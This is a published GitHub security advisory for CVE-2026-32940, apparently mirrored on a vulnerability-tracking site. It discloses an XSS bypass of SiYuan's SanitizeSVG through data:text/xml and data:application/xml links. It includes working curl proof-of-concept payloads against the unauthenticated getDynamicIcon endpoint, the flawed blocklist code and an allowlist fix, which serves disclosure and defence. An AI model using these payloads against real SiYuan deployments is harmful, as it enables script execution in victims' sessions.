GHSA-4MX9-3C2H-HWHG

Vulnerability from github – Published: 2026-03-17 14:08 – Updated: 2026-03-30 14:03
VLAI?
Summary
SiYuan has a SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)
Details

SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)

SanitizeSVG blocks data:text/html and data:image/svg+xml in href attributes but misses data:text/xml and data:application/xml. Both render SVG with onload JavaScript execution (confirmed in Chromium 136, other browsers untested).

/api/icon/getDynamicIcon is unauthenticated and serves SVG as Content-Type: image/svg+xml. The content parameter (type=8) gets embedded into the SVG via fmt.Sprintf with no escaping. The sanitizer catches data:text/html but data:text/xml passes the blocklist -- only three MIME types are checked.

This is a click-through XSS: victim visits the crafted URL, sees an SVG with an injected link, clicks it. If SiYuan renders these icons via <img> tags in the frontend, links aren't interactive there -- the attack needs direct navigation to the endpoint URL or <object>/<embed> embedding.

Steps to reproduce

Against SiYuan v3.6.0 (Docker):

# 1. data:text/xml bypass -- <a> element preserved with href intact
curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \
  --data-urlencode 'type=8' \
  --data-urlencode 'content=</text><a href="data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E">click</a><text>' \
  | grep -o '<a [^>]*>'
# Output: <a href="data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E">

# 2. data:text/html is correctly blocked -- href stripped
curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \
  --data-urlencode 'type=8' \
  --data-urlencode 'content=</text><a href="data:text/html,<script>alert(1)</script>">click</a><text>' \
  | grep -o '<a [^>]*>'
# Output: <a>  (href removed)

# 3. data:application/xml also bypasses
curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \
  --data-urlencode 'type=8' \
  --data-urlencode 'content=</text><a href="data:application/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(1)%27/%3E">click</a><text>' \
  | grep -o '<a [^>]*>'
# Output: <a href="data:application/xml,...">  (href preserved)

JS execution confirmed in Chromium 136 -- data:text/xml SVG onload fires and posts a message to the parent window via iframe test.

Vulnerable code

kernel/util/misc.go lines 289-293:

if strings.HasPrefix(val, "data:") {
    if strings.Contains(val, "text/html") || strings.Contains(val, "image/svg+xml") || strings.Contains(val, "application/xhtml+xml") {
        continue
    }
}

text/xml and application/xml aren't in the list. Both serve SVG with JS execution.

Impact

Reflected XSS on an unauthenticated endpoint. Victim visits the crafted URL, then clicks the injected link in the SVG. No auth needed to craft the URL.

Docker deployments where SiYuan is network-accessible are the clearest target -- the endpoint is reachable directly. In the Electron desktop app, impact depends on nodeIntegration/contextIsolation settings. Issue #15970 ("XSS to RCE") explored that path.

The deeper issue: the blocklist approach for data: URIs is fragile. text/xml and application/xml are the gap today, but other MIME types that render active content could surface. An allowlist of safe image types covers the known vectors and future MIME type additions.

Affected versions

v3.6.0 (latest, confirmed). All versions since SanitizeSVG was added to fix CVE-2026-29183.

Suggested fix

Flip the data: URI check to an allowlist -- only permit safe image types in href:

if strings.HasPrefix(val, "data:") {
    safe := strings.HasPrefix(val, "data:image/png") ||
            strings.HasPrefix(val, "data:image/jpeg") ||
            strings.HasPrefix(val, "data:image/gif") ||
            strings.HasPrefix(val, "data:image/webp")
    if !safe {
        continue
    }
}

If you prefer extending the blocklist, add at minimum: text/xml, application/xml, text/xsl, and multipart/ types.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-20260313024916-fd6526133bb3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32940"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-17T14:08:11Z",
    "nvd_published_at": "2026-03-20T04:16:49Z",
    "severity": "CRITICAL"
  },
  "details": "# SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)\n\n`SanitizeSVG` blocks `data:text/html` and `data:image/svg+xml` in href attributes but misses `data:text/xml` and `data:application/xml`. Both render SVG with `onload` JavaScript execution (confirmed in Chromium 136, other browsers untested).\n\n`/api/icon/getDynamicIcon` is unauthenticated and serves SVG as `Content-Type: image/svg+xml`. The `content` parameter (type=8) gets embedded into the SVG via `fmt.Sprintf` with no escaping. The sanitizer catches `data:text/html` but `data:text/xml` passes the blocklist -- only three MIME types are checked.\n\nThis is a click-through XSS: victim visits the crafted URL, sees an SVG with an injected link, clicks it. If SiYuan renders these icons via `\u003cimg\u003e` tags in the frontend, links aren\u0027t interactive there -- the attack needs direct navigation to the endpoint URL or `\u003cobject\u003e`/`\u003cembed\u003e` embedding.\n\n## Steps to reproduce\n\nAgainst SiYuan v3.6.0 (Docker):\n\n```sh\n# 1. data:text/xml bypass -- \u003ca\u003e element preserved with href intact\ncurl -s --get \"http://127.0.0.1:6806/api/icon/getDynamicIcon\" \\\n  --data-urlencode \u0027type=8\u0027 \\\n  --data-urlencode \u0027content=\u003c/text\u003e\u003ca href=\"data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E\"\u003eclick\u003c/a\u003e\u003ctext\u003e\u0027 \\\n  | grep -o \u0027\u003ca [^\u003e]*\u003e\u0027\n# Output: \u003ca href=\"data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E\"\u003e\n\n# 2. data:text/html is correctly blocked -- href stripped\ncurl -s --get \"http://127.0.0.1:6806/api/icon/getDynamicIcon\" \\\n  --data-urlencode \u0027type=8\u0027 \\\n  --data-urlencode \u0027content=\u003c/text\u003e\u003ca href=\"data:text/html,\u003cscript\u003ealert(1)\u003c/script\u003e\"\u003eclick\u003c/a\u003e\u003ctext\u003e\u0027 \\\n  | grep -o \u0027\u003ca [^\u003e]*\u003e\u0027\n# Output: \u003ca\u003e  (href removed)\n\n# 3. data:application/xml also bypasses\ncurl -s --get \"http://127.0.0.1:6806/api/icon/getDynamicIcon\" \\\n  --data-urlencode \u0027type=8\u0027 \\\n  --data-urlencode \u0027content=\u003c/text\u003e\u003ca href=\"data:application/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(1)%27/%3E\"\u003eclick\u003c/a\u003e\u003ctext\u003e\u0027 \\\n  | grep -o \u0027\u003ca [^\u003e]*\u003e\u0027\n# Output: \u003ca href=\"data:application/xml,...\"\u003e  (href preserved)\n```\n\nJS execution confirmed in Chromium 136 -- `data:text/xml` SVG `onload` fires and posts a message to the parent window via iframe test.\n\n## Vulnerable code\n\n`kernel/util/misc.go` lines 289-293:\n\n```go\nif strings.HasPrefix(val, \"data:\") {\n    if strings.Contains(val, \"text/html\") || strings.Contains(val, \"image/svg+xml\") || strings.Contains(val, \"application/xhtml+xml\") {\n        continue\n    }\n}\n```\n\n`text/xml` and `application/xml` aren\u0027t in the list. Both serve SVG with JS execution.\n\n## Impact\n\nReflected XSS on an unauthenticated endpoint. Victim visits the crafted URL, then clicks the injected link in the SVG. No auth needed to craft the URL.\n\nDocker deployments where SiYuan is network-accessible are the clearest target -- the endpoint is reachable directly. In the Electron desktop app, impact depends on `nodeIntegration`/`contextIsolation` settings. Issue #15970 (\"XSS to RCE\") explored that path.\n\nThe deeper issue: the blocklist approach for data: URIs is fragile. `text/xml` and `application/xml` are the gap today, but other MIME types that render active content could surface. An allowlist of safe image types covers the known vectors and future MIME type additions.\n\n## Affected versions\n\nv3.6.0 (latest, confirmed). All versions since `SanitizeSVG` was added to fix CVE-2026-29183.\n\n## Suggested fix\n\nFlip the data: URI check to an allowlist -- only permit safe image types in href:\n\n```go\nif strings.HasPrefix(val, \"data:\") {\n    safe := strings.HasPrefix(val, \"data:image/png\") ||\n            strings.HasPrefix(val, \"data:image/jpeg\") ||\n            strings.HasPrefix(val, \"data:image/gif\") ||\n            strings.HasPrefix(val, \"data:image/webp\")\n    if !safe {\n        continue\n    }\n}\n```\n\nIf you prefer extending the blocklist, add at minimum: `text/xml`, `application/xml`, `text/xsl`, and `multipart/` types.",
  "id": "GHSA-4mx9-3c2h-hwhg",
  "modified": "2026-03-30T14:03:47Z",
  "published": "2026-03-17T14:08:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-4mx9-3c2h-hwhg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32940"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/commit/d01d561875d4f744e9f6232f1d4831e3642b8696"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-6865-qjcf-286f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan has a SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…